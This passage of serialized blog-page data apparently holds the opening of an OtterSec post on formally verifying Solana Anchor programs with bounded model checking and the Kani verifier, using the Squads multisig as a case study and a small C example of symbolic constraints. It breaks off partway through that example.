:24,"tag":90,"props":20055,"children":20056},{"style":252},[20057],{"type":29,"value":887},{"type":24,"tag":90,"props":20059,"children":20060},{"class":92,"line":248},[20061,20065,20069,20073,20077,20081,20085,20089,20093,20097,20101,20105,20109,20113,20117,20121,20125,20129,20133,20137],{"type":24,"tag":90,"props":20062,"children":20063},{"style":97},[20064],{"type":29,"value":895},{"type":24,"tag":90,"props":20066,"children":20067},{"style":136},[20068],{"type":29,"value":292},{"type":24,"tag":90,"props":20070,"children":20071},{"style":120},[20072],{"type":29,"value":216},{"type":24,"tag":90,"props":20074,"children":20075},{"style":97},[20076],{"type":29,"value":1077},{"type":24,"tag":90,"props":20078,"children":20079},{"style":114},[20080],{"type":29,"value":1196},{"type":24,"tag":90,"props":20082,"children":20083},{"style":136},[20084],{"type":29,"value":1815},{"type":24,"tag":90,"props":20086,"children":20087},{"style":120},[20088],{"type":29,"value":226},{"type":24,"tag":90,"props":20090,"children":20091},{"style":108},[20092],{"type":29,"value":324},{"type":24,"tag":90,"props":20094,"children":20095},{"style":114},[20096],{"type":29,"value":314},{"type":24,"tag":90,"props":20098,"children":20099},{"style":120},[20100],{"type":29,"value":226},{"type":24,"tag":90,"props":20102,"children":20103},{"style":108},[20104],{"type":29,"value":337},{"type":24,"tag":90,"props":20106,"children":20107},{"style":114},[20108],{"type":29,"value":117},{"type":24,"tag":90,"props":20110,"children":20111},{"style":120},[20112],{"type":29,"value":346},{"type":24,"tag":90,"props":20114,"children":20115},{"style":349},[20116],{"type":29,"value":352},{"type":24,"tag":90,"props":20118,"children":20119},{"style":114},[20120],{"type":29,"value":4764},{"type":24,"tag":90,"props":20122,"children":20123},{"style":97},[20124],{"type":29,"value":361},{"type":24,"tag":90,"props":20126,"children":20127},{"style":120},[20128],{"type":29,"value":366},{"type":24,"tag":90,"props":20130,"children":20131},{"style":97},[20132],{"type":29,"value":371},{"type":24,"tag":90,"props":20134,"children":20135},{"style":146},[20136],{"type":29,"value":376},{"type":24,"tag":90,"props":20138,"children":20139},{"style":114},[20140],{"type":29,"value":381},{"type":24,"tag":90,"props":20142,"children":20143},{"class":92,"line":258},[20144,20148,20152,20156,20160,20164,20168,20172,20176],{"type":24,"tag":90,"props":20145,"children":20146},{"style":97},[20147],{"type":29,"value":838},{"type":24,"tag":90,"props":20149,"children":20150},{"style":114},[20151],{"type":29,"value":1196},{"type":24,"tag":90,"props":20153,"children":20154},{"style":120},[20155],{"type":29,"value":983},{"type":24,"tag":90,"props":20157,"children":20158},{"style":136},[20159],{"type":29,"value":395},{"type":24,"tag":90,"props":20161,"children":20162},{"style":120},[20163],{"type":29,"value":216},{"type":24,"tag":90,"props":20165,"children":20166},{"style":136},[20167],{"type":29,"value":404},{"type":24,"tag":90,"props":20169,"children":20170},{"style":97},[20171],{"type":29,"value":409},{"type":24,"tag":90,"props":20173,"children":20174},{"style":146},[20175],{"type":29,"value":376},{"type":24,"tag":90,"props":20177,"children":20178},{"style":114},[20179],{"type":29,"value":4824},{"type":24,"tag":90,"props":20181,"children":20182},{"class":92,"line":272},[20183],{"type":24,"tag":90,"props":20184,"children":20185},{"emptyLinePlaceholder":16},[20186],{"type":29,"value":245},{"type":24,"tag":90,"props":20188,"children":20189},{"class":92,"line":281},[20190],{"type":24,"tag":90,"props":20191,"children":20192},{"style":252},[20193],{"type":29,"value":2650},{"type":24,"tag":90,"props":20195,"children":20196},{"class":92,"line":384},[20197,20201,20205,20209,20213,20217,20221,20225,20229,20233,20237,20241,20245,20249,20253,20257],{"type":24,"tag":90,"props":20198,"children":20199},{"style":120},[20200],{"type":29,"value":983},{"type":24,"tag":90,"props":20202,"children":20203},{"style":136},[20204],{"type":29,"value":1815},{"type":24,"tag":90,"props":20206,"children":20207},{"style":120},[20208],{"type":29,"value":216},{"type":24,"tag":90,"props":20210,"children":20211},{"style":97},[20212],{"type":29,"value":1077},{"type":24,"tag":90,"props":20214,"children":20215},{"style":114},[20216],{"type":29,"value":4862},{"type":24,"tag":90,"props":20218,"children":20219},{"style":120},[20220],{"type":29,"value":1211},{"type":24,"tag":90,"props":20222,"children":20223},{"style":114},[20224],{"type":29,"value":1815},{"type":24,"tag":90,"props":20226,"children":20227},{"style":120},[20228],{"type":29,"value":1211},{"type":24,"tag":90,"props":20230,"children":20231},{"style":108},[20232],{"type":29,"value":4879},{"type":24,"tag":90,"props":20234,"children":20235},{"style":114},[20236],{"type":29,"value":117},{"type":24,"tag":90,"props":20238,"children":20239},{"style":136},[20240],{"type":29,"value":1815},{"type":24,"tag":90,"props":20242,"children":20243},{"style":120},[20244],{"type":29,"value":226},{"type":24,"tag":90,"props":20246,"children":20247},{"style":108},[20248],{"type":29,"value":324},{"type":24,"tag":90,"props":20250,"children":20251},{"style":114},[20252],{"type":29,"value":4900},{"type":24,"tag":90,"props":20254,"children":20255},{"style":136},[20256],{"type":29,"value":139},{"type":24,"tag":90,"props":20258,"children":20259},{"style":114},[20260],{"type":29,"value":1238},{"type":24,"tag":25,"props":20262,"children":20263},{},[20264,20265,20270,20271,20276,20277,20282,20283],{"type":29,"value":4913},{"type":24,"tag":32,"props":20266,"children":20268},{"className":20267},[],[20269],{"type":29,"value":1580},{"type":29,"value":4920},{"type":24,"tag":32,"props":20272,"children":20274},{"className":20273},[],[20275],{"type":29,"value":3119},{"type":29,"value":4927},{"type":24,"tag":32,"props":20278,"children":20280},{"className":20279},[],[20281],{"type":29,"value":3119},{"type":29,"value":4934},{"type":24,"tag":1978,"props":20284,"children":20285},{},[20286],{"type":24,"tag":69,"props":20287,"children":20289},{"href":4940,"ariaDescribedBy":20288,"dataFootnoteRef":7,"id":4942},[1985],[20290],{"type":29,"value":4945},{"type":24,"tag":4947,"props":20292,"children":20294},{"className":20293,"dataFootnotes":7},[4950],[20295,20300],{"type":24,"tag":850,"props":20296,"children":20298},{"className":20297,"id":1985},[4955],[20299],{"type":29,"value":4958},{"type":24,"tag":3100,"props":20301,"children":20302},{},[20303,20385,20399,20441,20450,20470],{"type":24,"tag":3104,"props":20304,"children":20305},{"id":4964},[20306,20307,20312,20313,20318,20319,20323,20324,20328,20329,20334,20335,20340,20341,20345,20346,20355,20356,20361,20362,20367,20368,20373,20374,20379,20380],{"type":29,"value":4967},{"type":24,"tag":32,"props":20308,"children":20310},{"className":20309},[],[20311],{"type":29,"value":4973},{"type":29,"value":4975},{"type":24,"tag":32,"props":20314,"children":20316},{"className":20315},[],[20317],{"type":29,"value":1960},{"type":29,"value":4982},{"type":24,"tag":842,"props":20320,"children":20321},{},[20322],{"type":29,"value":2970},{"type":29,"value":4988},{"type":24,"tag":842,"props":20325,"children":20326},{},[20327],{"type":29,"value":481},{"type":29,"value":4994},{"type":24,"tag":32,"props":20330,"children":20332},{"className":20331},[],[20333],{"type":29,"value":1960},{"type":29,"value":5001},{"type":24,"tag":32,"props":20336,"children":20338},{"className":20337},[],[20339],{"type":29,"value":5007},{"type":29,"value":5009},{"type":24,"tag":842,"props":20342,"children":20343},{},[20344],{"type":29,"value":5014},{"type":29,"value":5016},{"type":24,"tag":842,"props":20347,"children":20348},{},[20349,20350],{"type":29,"value":5021},{"type":24,"tag":32,"props":20351,"children":20353},{"className":20352},[],[20354],{"type":29,"value":1960},{"type":29,"value":5028},{"type":24,"tag":32,"props":20357,"children":20359},{"className":20358},[],[20360],{"type":29,"value":4973},{"type":29,"value":5035},{"type":24,"tag":32,"props":20363,"children":20365},{"className":20364},[],[20366],{"type":29,"value":1960},{"type":29,"value":5042},{"type":24,"tag":32,"props":20369,"children":20371},{"className":20370},[],[20372],{"type":29,"value":1960},{"type":29,"value":5049},{"type":24,"tag":32,"props":20375,"children":20377},{"className":20376},[],[20378],{"type":29,"value":5055},{"type":29,"value":5057},{"type":24,"tag":69,"props":20381,"children":20383},{"href":5060,"ariaLabel":5061,"className":20382,"dataFootnoteBackref":7},[5063],[20384],{"type":29,"value":5066},{"type":24,"tag":3104,"props":20386,"children":20387},{"id":5069},[20388,20393,20394],{"type":24,"tag":32,"props":20389,"children":20391},{"className":20390},[],[20392],{"type":29,"value":5076},{"type":29,"value":2877},{"type":24,"tag":69,"props":20395,"children":20397},{"href":5080,"ariaLabel":5081,"className":20396,"dataFootnoteBackref":7},[5063],[20398],{"type":29,"value":5066},{"type":24,"tag":3104,"props":20400,"children":20401},{"id":5087},[20402,20403,20408,20409,20419,20420,20424,20425,20429,20430,20435,20436],{"type":29,"value":5090},{"type":24,"tag":32,"props":20404,"children":20406},{"className":20405},[],[20407],{"type":29,"value":1434},{"type":29,"value":67},{"type":24,"tag":69,"props":20410,"children":20412},{"href":5099,"rel":20411},[73],[20413,20414],{"type":29,"value":5103},{"type":24,"tag":32,"props":20415,"children":20417},{"className":20416},[],[20418],{"type":29,"value":5109},{"type":29,"value":5111},{"type":24,"tag":842,"props":20421,"children":20422},{},[20423],{"type":29,"value":5116},{"type":29,"value":5118},{"type":24,"tag":842,"props":20426,"children":20427},{},[20428],{"type":29,"value":5123},{"type":29,"value":5125},{"type":24,"tag":32,"props":20431,"children":20433},{"className":20432},[],[20434],{"type":29,"value":3023},{"type":29,"value":5132},{"type":24,"tag":69,"props":20437,"children":20439},{"href":5135,"ariaLabel":5136,"className":20438,"dataFootnoteBackref":7},[5063],[20440],{"type":29,"value":5066},{"type":24,"tag":3104,"props":20442,"children":20443},{"id":5142},[20444,20445],{"type":29,"value":5145},{"type":24,"tag":69,"props":20446,"children":20448},{"href":5148,"ariaLabel":5149,"className":20447,"dataFootnoteBackref":7},[5063],[20449],{"type":29,"value":5066},{"type":24,"tag":3104,"props":20451,"children":20452},{"id":5155},[20453,20458,20459,20464,20465],{"type":24,"tag":69,"props":20454,"children":20456},{"href":5159,"rel":20455},[73],[20457],{"type":29,"value":5163},{"type":29,"value":5165},{"type":24,"tag":32,"props":20460,"children":20462},{"className":20461},[],[20463],{"type":29,"value":5171},{"type":29,"value":5173},{"type":24,"tag":69,"props":20466,"children":20468},{"href":5176,"ariaLabel":5177,"className":20467,"dataFootnoteBackref":7},[5063],[20469],{"type":29,"value":5066},{"type":24,"tag":3104,"props":20471,"children":20472},{"id":5183},[20473,20474,20479,20480,20485,20486,20491,20492,20497,20498,20503,20504,20509,20510,20515,20516],{"type":29,"value":5186},{"type":24,"tag":32,"props":20475,"children":20477},{"className":20476},[],[20478],{"type":29,"value":4879},{"type":29,"value":5193},{"type":24,"tag":32,"props":20481,"children":20483},{"className":20482},[],[20484],{"type":29,"value":5199},{"type":29,"value":5201},{"type":24,"tag":32,"props":20487,"children":20489},{"className":20488},[],[20490],{"type":29,"value":5207},{"type":29,"value":5209},{"type":24,"tag":32,"props":20493,"children":20495},{"className":20494},[],[20496],{"type":29,"value":5215},{"type":29,"value":5217},{"type":24,"tag":32,"props":20499,"children":20501},{"className":20500},[],[20502],{"type":29,"value":5223},{"type":29,"value":5225},{"type":24,"tag":32,"props":20505,"children":20507},{"className":20506},[],[20508],{"type":29,"value":5231},{"type":29,"value":5233},{"type":24,"tag":32,"props":20511,"children":20513},{"className":20512},[],[20514],{"type":29,"value":1434},{"type":29,"value":5240},{"type":24,"tag":69,"props":20517,"children":20519},{"href":5243,"ariaLabel":5244,"className":20518,"dataFootnoteBackref":7},[5063],[20520],{"type":29,"value":5066},{"type":24,"tag":5249,"props":20522,"children":20523},{},[20524],{"type":29,"value":5253},{"title":7,"searchDepth":200,"depth":200,"links":20526},[20527,20531,20535,20536,20537],{"id":852,"depth":200,"text":5257,"children":20528},[20529,20530],{"id":1021,"depth":239,"text":1024},{"id":2402,"depth":239,"text":5261},{"id":3364,"depth":200,"text":3367,"children":20532},[20533,20534],{"id":3370,"depth":239,"text":3373},{"id":3592,"depth":239,"text":3595},{"id":3779,"depth":200,"text":3782},{"id":4182,"depth":200,"text":5268},{"id":1985,"depth":200,"text":4958},{"_path":20539,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":20540,"description":20541,"author":20542,"image":20543,"date":20545,"isFeatured":16,"onBlogPage":16,"tags":20546,"body":20547,"_type":5270,"_id":30810,"_source":5272,"_file":30811,"_stem":30812,"_extension":5275},"/blog/2023-01-26-formally-verifying-solana-programs","Solana Formal Verification: A Case Study","We present a novel framework for formal verification of Solana Anchor programs — and a case study application to the Squads multisig.","harrison",{"src":20544,"height":13,"width":14},"/posts/formally-verifying-solana-programs/formal-verification-title.jpg","2023-01-26",[5287,18],{"type":21,"children":20548,"toc":30782},[20549,20554,20559,20585,20589,20601,20624,20647,20659,20682,20685,20692,20742,20748,20754,20759,20770,20811,20816,20822,20827,21060,21080,21085,21090,21163,21168,21238,21252,21677,21697,21703,21722,21727,21732,21737,21743,21755,21790,21801,21812,21824,21829,21861,21885,21904,21910,21927,21933,21960,21965,21985,21997,22143,22171,22174,22186,22269,22288,22291,22330,22497,22502,22508,22520,22539,22552,22713,22725,22738,23212,23217,23264,23270,23288,23357,23595,23809,23814,23888,23936,23941,23947,24049,24153,24158,24221,24226,24232,24297,24302,24344,24370,24376,24445,24450,24500,24511,24517,24528,24549,24554,24559,24582,24588,24600,24620,25736,25755,25806,25811,25819,25831,25836,25844,25849,25865,25901,25906,26000,26005,26013,26018,26130,26135,26143,26156,26320,26325,26333,26338,26343,26411,26445,26451,26456,26467,26485,26863,26875,26887,26895,26906,26937,26942,26950,26955,27228,27247,27252,27278,28146,28158,28257,28269,28311,28316,28328,28336,28341,28353,28379,28539,28551,28559,28564,28840,28845,28857,29012,29032,29358,29392,29586,29619,29631,29753,29773,29778,29783,29788,29801,29809,29814,30289,30301,30306,30318,30323,30582,30608,30613,30619,30625,30637,30649,30668,30715,30720,30726,30731,30736,30741,30746,30751,30756,30759,30778],{"type":24,"tag":25,"props":20550,"children":20551},{},[20552],{"type":29,"value":20553},"Since the early days of computing, bugs have crept their way into programs and wreaked havoc on the intentions of the programmer. Logical fallacies, race conditions, or simple typos could manifest as crashes or lay undetected, silently breaking the functionality of the host program.",{"type":24,"tag":25,"props":20555,"children":20556},{},[20557],{"type":29,"value":20558},"When your program is connected to the internet, there is the new risk that bugs may introduce security holes into your system. Even simple buffer overflows can be exploited by skilled attackers to compromise the integrity of your program.",{"type":24,"tag":25,"props":20560,"children":20561},{},[20562,20564,20568,20570,20575,20577,20584],{"type":29,"value":20563},"In the world of Web3 we create programs that talk to strangers ",{"type":24,"tag":842,"props":20565,"children":20566},{},[20567],{"type":29,"value":2884},{"type":29,"value":20569}," control millions of dollars 🤑. Bugs in these programs are some of the ",{"type":24,"tag":842,"props":20571,"children":20572},{},[20573],{"type":29,"value":20574},"juciest",{"type":29,"value":20576},"; anonymous attackers that can find and exploit them will walk away with potentially ",{"type":24,"tag":69,"props":20578,"children":20581},{"href":20579,"rel":20580},"https://rekt.news/leaderboard/",[73],[20582],{"type":29,"value":20583},"hundreds of millions of dollars",{"type":29,"value":226},{"type":24,"tag":20586,"props":20587,"children":20588},"hr",{},[],{"type":24,"tag":25,"props":20590,"children":20591},{},[20592,20594,20599],{"type":29,"value":20593},"At OtterSec we are ",{"type":24,"tag":842,"props":20595,"children":20596},{},[20597],{"type":29,"value":20598},"highly skilled in pest control",{"type":29,"value":20600}," - finding and squashing bugs before they are exploited by less well-intentioned hackers. We are constantly striving to improve our techniques and develop new technologies that aid in our auditing processes.",{"type":24,"tag":25,"props":20602,"children":20603},{},[20604,20606,20613,20615,20622],{"type":29,"value":20605},"Recently we were contacted by the ",{"type":24,"tag":69,"props":20607,"children":20610},{"href":20608,"rel":20609},"https://squads.so/",[73],[20611],{"type":29,"value":20612},"Squads team",{"type":29,"value":20614}," to explore how formal verification could be used to verify security-critical properties of Solana programs. We were really excited about this opportunity and have been developing a prototype with the ",{"type":24,"tag":69,"props":20616,"children":20619},{"href":20617,"rel":20618},"https://github.com/Squads-Protocol/squads-mpl",[73],[20620],{"type":29,"value":20621},"Squads Multisig Program",{"type":29,"value":20623}," as our main case study.",{"type":24,"tag":25,"props":20625,"children":20626},{},[20627,20629,20636,20638,20645],{"type":29,"value":20628},"We now have a (mostly) working prototype that can be used to formally verify critical properties of Solana programs in order to ensure a higher level of security. Our tool integrates with ",{"type":24,"tag":69,"props":20630,"children":20633},{"href":20631,"rel":20632},"https://www.anchor-lang.com/",[73],[20634],{"type":29,"value":20635},"anchor-lang",{"type":29,"value":20637}," and provides new APIs to specify invariants for your Solana code. It then autogenerates proof harnesses which are verified with the ",{"type":24,"tag":69,"props":20639,"children":20642},{"href":20640,"rel":20641},"https://github.com/model-checking/kani",[73],[20643],{"type":29,"value":20644},"Kani Rust Verifier",{"type":29,"value":20646},". Additionally, we are implementing a formal-verification-friendly runtime SDK layer that accelerates the expensive process of running formal verification tools on complex code.",{"type":24,"tag":25,"props":20648,"children":20649},{},[20650,20652,20657],{"type":29,"value":20651},"In this blog post, we're excited to share our progress and the challenges we've encountered during the process. We will describe the main concepts behind ",{"type":24,"tag":842,"props":20653,"children":20654},{},[20655],{"type":29,"value":20656},"bounded model checking",{"type":29,"value":20658}," (our formal verification method of choice) and explain how we've applied these concepts to Solana.",{"type":24,"tag":25,"props":20660,"children":20661},{},[20662],{"type":24,"tag":842,"props":20663,"children":20664},{},[20665,20667,20674,20676],{"type":29,"value":20666},"If you're interested in learning more or getting your own programs formally verified, let us know! We'd be excited to chat with you! — Fill out ",{"type":24,"tag":69,"props":20668,"children":20671},{"href":20669,"rel":20670},"https://osec.io/contact",[73],[20672],{"type":29,"value":20673},"this form",{"type":29,"value":20675}," or email us at ",{"type":24,"tag":69,"props":20677,"children":20679},{"href":20678},"mailto:contact@osec.io",[20680],{"type":29,"value":20681},"contact@osec.io",{"type":24,"tag":20586,"props":20683,"children":20684},{},[],{"type":24,"tag":20686,"props":20687,"children":20689},"h4",{"id":20688},"contents",[20690],{"type":29,"value":20691},"Contents:",{"type":24,"tag":3100,"props":20693,"children":20694},{},[20695,20700,20717,20727,20732,20737],{"type":24,"tag":3104,"props":20696,"children":20697},{},[20698],{"type":29,"value":20699},"Formal Verification with Bounded Model Checking\na. Overview\nb. A simple example\nc. Loop bounds & path explosion\nd. The Kani Rust Verifier",{"type":24,"tag":3104,"props":20701,"children":20702},{},[20703,20708,20710,20715],{"type":24,"tag":7711,"props":20704,"children":20705},{},[20706],{"type":29,"value":20707},"Specification",{"type":29,"value":20709},": How can we describe what we ",{"type":24,"tag":842,"props":20711,"children":20712},{},[20713],{"type":29,"value":20714},"want",{"type":29,"value":20716}," our program to do?",{"type":24,"tag":3104,"props":20718,"children":20719},{},[20720,20725],{"type":24,"tag":7711,"props":20721,"children":20722},{},[20723],{"type":29,"value":20724},"Verification",{"type":29,"value":20726},": How do we check that our model is correct?",{"type":24,"tag":3104,"props":20728,"children":20729},{},[20730],{"type":29,"value":20731},"Case Study: Squads Multisig",{"type":24,"tag":3104,"props":20733,"children":20734},{},[20735],{"type":29,"value":20736},"Additional challenges in Solana",{"type":24,"tag":3104,"props":20738,"children":20739},{},[20740],{"type":29,"value":20741},"Conclusion",{"type":24,"tag":850,"props":20743,"children":20745},{"id":20744},"formal-verification-with-bounded-model-checking",[20746],{"type":29,"value":20747},"Formal Verification with Bounded Model Checking",{"type":24,"tag":1019,"props":20749,"children":20751},{"id":20750},"overview",[20752],{"type":29,"value":20753},"Overview",{"type":24,"tag":25,"props":20755,"children":20756},{},[20757],{"type":29,"value":20758},"Formal verification is the process of using a formal specification to verify the correctness of a system. In this case, the systems we are verifying are programs written in Rust that run on the Solana blockchain.",{"type":24,"tag":25,"props":20760,"children":20761},{},[20762,20764,20769],{"type":29,"value":20763},"There are many different flavors of formal verification, however in this research we are using ",{"type":24,"tag":7711,"props":20765,"children":20766},{},[20767],{"type":29,"value":20768},"bounded model checking (BMC)",{"type":29,"value":226},{"type":24,"tag":25,"props":20771,"children":20772},{},[20773,20775,20780,20782,20787,20789,20793,20795,20801,20803,20809],{"type":29,"value":20774},"In short, the idea of BMC is to execute our program ",{"type":24,"tag":842,"props":20776,"children":20777},{},[20778],{"type":29,"value":20779},"symbolically",{"type":29,"value":20781}," rather than ",{"type":24,"tag":842,"props":20783,"children":20784},{},[20785],{"type":29,"value":20786},"concretely",{"type":29,"value":20788},". Instead of actually performing an ",{"type":24,"tag":842,"props":20790,"children":20791},{},[20792],{"type":29,"value":1505},{"type":29,"value":20794}," when we see the line ",{"type":24,"tag":32,"props":20796,"children":20798},{"className":20797},[],[20799],{"type":29,"value":20800},"int x = a + b",{"type":29,"value":20802},", we store the symbolic expression ",{"type":24,"tag":32,"props":20804,"children":20806},{"className":20805},[],[20807],{"type":29,"value":20808},"x == a + b",{"type":29,"value":20810},". We do this for every line and once we reach the end of the program we have compiled a huge list of symbolic expressions. At this point, we can feed these expressions to a SMT solver along with a correctness property P in order to check if our program satisfies this property.",{"type":24,"tag":25,"props":20812,"children":20813},{},[20814],{"type":29,"value":20815},"If we hit a branch as we are tracing the program, we will take both sides of the branch adding the positive branch condition as a constraint to one side and the negative condition to the other side.",{"type":24,"tag":1019,"props":20817,"children":20819},{"id":20818},"a-simple-example",[20820],{"type":29,"value":20821},"A simple example",{"type":24,"tag":25,"props":20823,"children":20824},{},[20825],{"type":29,"value":20826},"As an example, consider the following function:",{"type":24,"tag":80,"props":20828,"children":20830},{"code":20829,"language":3030,"meta":7,"className":3028,"style":7},"int foo(int x) {\n int y = x + 3;\n int z;\n if (y > 100) {\n z = y * 2;\n } else {\n z = y + 1;\n }\n\n // Property P:\n assert(z != 105);\n}\n",[20831],{"type":24,"tag":32,"props":20832,"children":20833},{"__ignoreMap":7},[20834,20864,20898,20910,20935,20963,20978,21005,21012,21019,21027,21053],{"type":24,"tag":90,"props":20835,"children":20836},{"class":92,"line":93},[20837,20842,20847,20851,20855,20860],{"type":24,"tag":90,"props":20838,"children":20839},{"style":97},[20840],{"type":29,"value":20841},"int",{"type":24,"tag":90,"props":20843,"children":20844},{"style":108},[20845],{"type":29,"value":20846}," foo",{"type":24,"tag":90,"props":20848,"children":20849},{"style":114},[20850],{"type":29,"value":117},{"type":24,"tag":90,"props":20852,"children":20853},{"style":97},[20854],{"type":29,"value":20841},{"type":24,"tag":90,"props":20856,"children":20857},{"style":136},[20858],{"type":29,"value":20859}," x",{"type":24,"tag":90,"props":20861,"children":20862},{"style":114},[20863],{"type":29,"value":1297},{"type":24,"tag":90,"props":20865,"children":20866},{"class":92,"line":200},[20867,20872,20876,20880,20885,20889,20894],{"type":24,"tag":90,"props":20868,"children":20869},{"style":97},[20870],{"type":29,"value":20871}," int",{"type":24,"tag":90,"props":20873,"children":20874},{"style":114},[20875],{"type":29,"value":6900},{"type":24,"tag":90,"props":20877,"children":20878},{"style":120},[20879],{"type":29,"value":5491},{"type":24,"tag":90,"props":20881,"children":20882},{"style":114},[20883],{"type":29,"value":20884}," x ",{"type":24,"tag":90,"props":20886,"children":20887},{"style":120},[20888],{"type":29,"value":6767},{"type":24,"tag":90,"props":20890,"children":20891},{"style":349},[20892],{"type":29,"value":20893}," 3",{"type":24,"tag":90,"props":20895,"children":20896},{"style":114},[20897],{"type":29,"value":381},{"type":24,"tag":90,"props":20899,"children":20900},{"class":92,"line":239},[20901,20905],{"type":24,"tag":90,"props":20902,"children":20903},{"style":97},[20904],{"type":29,"value":20871},{"type":24,"tag":90,"props":20906,"children":20907},{"style":114},[20908],{"type":29,"value":20909}," z;\n",{"type":24,"tag":90,"props":20911,"children":20912},{"class":92,"line":248},[20913,20917,20922,20926,20931],{"type":24,"tag":90,"props":20914,"children":20915},{"style":636},[20916],{"type":29,"value":639},{"type":24,"tag":90,"props":20918,"children":20919},{"style":114},[20920],{"type":29,"value":20921}," (y ",{"type":24,"tag":90,"props":20923,"children":20924},{"style":120},[20925],{"type":29,"value":12830},{"type":24,"tag":90,"props":20927,"children":20928},{"style":349},[20929],{"type":29,"value":20930}," 100",{"type":24,"tag":90,"props":20932,"children":20933},{"style":114},[20934],{"type":29,"value":1297},{"type":24,"tag":90,"props":20936,"children":20937},{"class":92,"line":258},[20938,20943,20947,20951,20955,20959],{"type":24,"tag":90,"props":20939,"children":20940},{"style":114},[20941],{"type":29,"value":20942}," z ",{"type":24,"tag":90,"props":20944,"children":20945},{"style":120},[20946],{"type":29,"value":5491},{"type":24,"tag":90,"props":20948,"children":20949},{"style":114},[20950],{"type":29,"value":6900},{"type":24,"tag":90,"props":20952,"children":20953},{"style":120},[20954],{"type":29,"value":983},{"type":24,"tag":90,"props":20956,"children":20957},{"style":349},[20958],{"type":29,"value":10312},{"type":24,"tag":90,"props":20960,"children":20961},{"style":114},[20962],{"type":29,"value":381},{"type":24,"tag":90,"props":20964,"children":20965},{"class":92,"line":272},[20966,20970,20974],{"type":24,"tag":90,"props":20967,"children":20968},{"style":114},[20969],{"type":29,"value":2288},{"type":24,"tag":90,"props":20971,"children":20972},{"style":636},[20973],{"type":29,"value":2293},{"type":24,"tag":90,"props":20975,"children":20976},{"style":114},[20977],{"type":29,"value":269},{"type":24,"tag":90,"props":20979,"children":20980},{"class":92,"line":281},[20981,20985,20989,20993,20997,21001],{"type":24,"tag":90,"props":20982,"children":20983},{"style":114},[20984],{"type":29,"value":20942},{"type":24,"tag":90,"props":20986,"children":20987},{"style":120},[20988],{"type":29,"value":5491},{"type":24,"tag":90,"props":20990,"children":20991},{"style":114},[20992],{"type":29,"value":6900},{"type":24,"tag":90,"props":20994,"children":20995},{"style":120},[20996],{"type":29,"value":6767},{"type":24,"tag":90,"props":20998,"children":20999},{"style":349},[21000],{"type":29,"value":6909},{"type":24,"tag":90,"props":21002,"children":21003},{"style":114},[21004],{"type":29,"value":381},{"type":24,"tag":90,"props":21006,"children":21007},{"class":92,"line":384},[21008],{"type":24,"tag":90,"props":21009,"children":21010},{"style":114},[21011],{"type":29,"value":612},{"type":24,"tag":90,"props":21013,"children":21014},{"class":92,"line":420},[21015],{"type":24,"tag":90,"props":21016,"children":21017},{"emptyLinePlaceholder":16},[21018],{"type":29,"value":245},{"type":24,"tag":90,"props":21020,"children":21021},{"class":92,"line":428},[21022],{"type":24,"tag":90,"props":21023,"children":21024},{"style":252},[21025],{"type":29,"value":21026}," // Property P:\n",{"type":24,"tag":90,"props":21028,"children":21029},{"class":92,"line":437},[21030,21035,21040,21044,21049],{"type":24,"tag":90,"props":21031,"children":21032},{"style":108},[21033],{"type":29,"value":21034}," assert",{"type":24,"tag":90,"props":21036,"children":21037},{"style":114},[21038],{"type":29,"value":21039},"(z ",{"type":24,"tag":90,"props":21041,"children":21042},{"style":120},[21043],{"type":29,"value":2196},{"type":24,"tag":90,"props":21045,"children":21046},{"style":349},[21047],{"type":29,"value":21048}," 105",{"type":24,"tag":90,"props":21050,"children":21051},{"style":114},[21052],{"type":29,"value":571},{"type":24,"tag":90,"props":21054,"children":21055},{"class":92,"line":574},[21056],{"type":24,"tag":90,"props":21057,"children":21058},{"style":114},[21059],{"type":29,"value":827},{"type":24,"tag":25,"props":21061,"children":21062},{},[21063,21065,21071,21073,21079],{"type":29,"value":21064},"This function takes an input ",{"type":24,"tag":32,"props":21066,"children":21068},{"className":21067},[],[21069],{"type":29,"value":21070},"x",{"type":29,"value":21072}," and does some computation. At the end of the program, the property we want to verify is that ",{"type":24,"tag":32,"props":21074,"children":21076},{"className":21075},[],[21077],{"type":29,"value":21078},"z != 105",{"type":29,"value":226},{"type":24,"tag":25,"props":21081,"children":21082},{},[21083],{"type":29,"value":21084},"With BMC, we could trace this program and derive the following constraints:",{"type":24,"tag":25,"props":21086,"children":21087},{},[21088],{"type":29,"value":21089},"Positive branch:",{"type":24,"tag":80,"props":21091,"children":21093},{"code":21092,"language":3030,"meta":7,"className":3028,"style":7},"y == x + 3\ny > 100\nz == y * 2\n",[21094],{"type":24,"tag":32,"props":21095,"children":21096},{"__ignoreMap":7},[21097,21122,21138],{"type":24,"tag":90,"props":21098,"children":21099},{"class":92,"line":93},[21100,21105,21109,21113,21117],{"type":24,"tag":90,"props":21101,"children":21102},{"style":114},[21103],{"type":29,"value":21104},"y ",{"type":24,"tag":90,"props":21106,"children":21107},{"style":120},[21108],{"type":29,"value":10951},{"type":24,"tag":90,"props":21110,"children":21111},{"style":114},[21112],{"type":29,"value":20884},{"type":24,"tag":90,"props":21114,"children":21115},{"style":120},[21116],{"type":29,"value":6767},{"type":24,"tag":90,"props":21118,"children":21119},{"style":349},[21120],{"type":29,"value":21121}," 3\n",{"type":24,"tag":90,"props":21123,"children":21124},{"class":92,"line":200},[21125,21129,21133],{"type":24,"tag":90,"props":21126,"children":21127},{"style":114},[21128],{"type":29,"value":21104},{"type":24,"tag":90,"props":21130,"children":21131},{"style":120},[21132],{"type":29,"value":12830},{"type":24,"tag":90,"props":21134,"children":21135},{"style":349},[21136],{"type":29,"value":21137}," 100\n",{"type":24,"tag":90,"props":21139,"children":21140},{"class":92,"line":239},[21141,21146,21150,21154,21158],{"type":24,"tag":90,"props":21142,"children":21143},{"style":114},[21144],{"type":29,"value":21145},"z ",{"type":24,"tag":90,"props":21147,"children":21148},{"style":120},[21149],{"type":29,"value":10951},{"type":24,"tag":90,"props":21151,"children":21152},{"style":114},[21153],{"type":29,"value":6900},{"type":24,"tag":90,"props":21155,"children":21156},{"style":120},[21157],{"type":29,"value":983},{"type":24,"tag":90,"props":21159,"children":21160},{"style":349},[21161],{"type":29,"value":21162}," 2\n",{"type":24,"tag":25,"props":21164,"children":21165},{},[21166],{"type":29,"value":21167},"Negative branch:",{"type":24,"tag":80,"props":21169,"children":21171},{"code":21170,"language":3030,"meta":7,"className":3028,"style":7},"y == x + 3\ny \u003C= 100\nz == y + 